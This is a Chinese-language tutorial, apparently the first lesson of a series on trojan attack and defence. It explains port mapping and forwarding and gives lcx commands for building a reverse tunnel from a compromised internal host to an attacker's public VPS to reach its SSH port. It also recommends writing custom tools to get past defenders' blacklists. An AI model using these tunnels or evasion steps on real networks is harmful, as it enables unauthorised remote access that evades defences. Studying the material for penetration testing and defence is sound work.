隧道木马第一课
前言
今天开始讲讲木马攻防,感觉这些内容大家应该会更感兴趣一些,就从隧道木马说起。为什么会有隧道木马这一说呢?这是根据通信协议进行分类的。讲隧道木马之前,先讲讲端口映射和转发。端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义。
第一节
场景1 端口映射
端口映射的使用,以下图为例,这是一个在渗透测试中,比较常见的场景。

从上图场景中看,端口映射是将内网主机B的80端口映射到了具有公网ip的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的ip上了。
第二节
场景2 端口转发
端口转发又是另外一个场景,在渗透测试中,也很常见。如下图所示。

那么木马怎么实现端口转发,才能让hacker访问主机B的22端口呢? 这就需要一台主机C,一个公网的VPS,去阿里云或者腾讯云买。木马的服务端运行在主机C,同时监听两个端口 port1 与port2,木马的客户端运行在主机B,分别主动连接主机B的22端口和主机C的port2,而hacker只需要主动连接主机C的port1,这样就打通了到主机B 22端口的线路。如下图所示。

第三节
lcx
lcx是一款内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。这个工具很早就已经有了,现在已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其他版本,比如jsp版,http隧道版等等。代码如下:
https://github.com/windworst/LCX/
下面说一下它的使用以及功能说明:
Usage of Packet Transmit:
./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]
./lcx -about
[options:]
-listen <local port1> <local port2>
-tran <local port> <remote host> <remote port>
-slave <remote host1> <remote port1> <remote host2> <remote port2>
-hex : hex mode data dump
-text : text mode data dump
-log : save transfer log对于场景1,可以使用lcx的tran模式来实现。假设主机A 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放80端口。 在主机A上运行 :
./lcx -tran 8080 192.168.1.5 80这个时候,hacker只要连接到主机A的8080端口,即可访问到主机B的80端口。
对于场景2,使用lcx的listen和slave模式来实现。假设主机C 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放22端口。 在主机C上监听8080和8081端口:
./lcx -listen 8080 8081在主机B上连接22端口,并连接主机C的8081端口:
./lcx -slave 192.168.1.5 22 10.10.10.1 8081这个时候,hacker只需要连接ip10.10.10.1的8080端口,即可直接连接到22端口,执行命令。
第四节
取代lcx
使用工具很简单,但是对这些工具的封锁也很简单。这些开源的网络安全工具早就处于防御端的黑名单里。因此自己写一个类似的工具也是一项必备的能力。 在github中就有这样类似的项目:
https://github.com/cw1997/NATBypass
代码很简单,只是单个golang文件,仿照lcx是实现了listen,tran和slave功能。关键的代码很简单,对应了下图中三个红框圈住的三个函数。
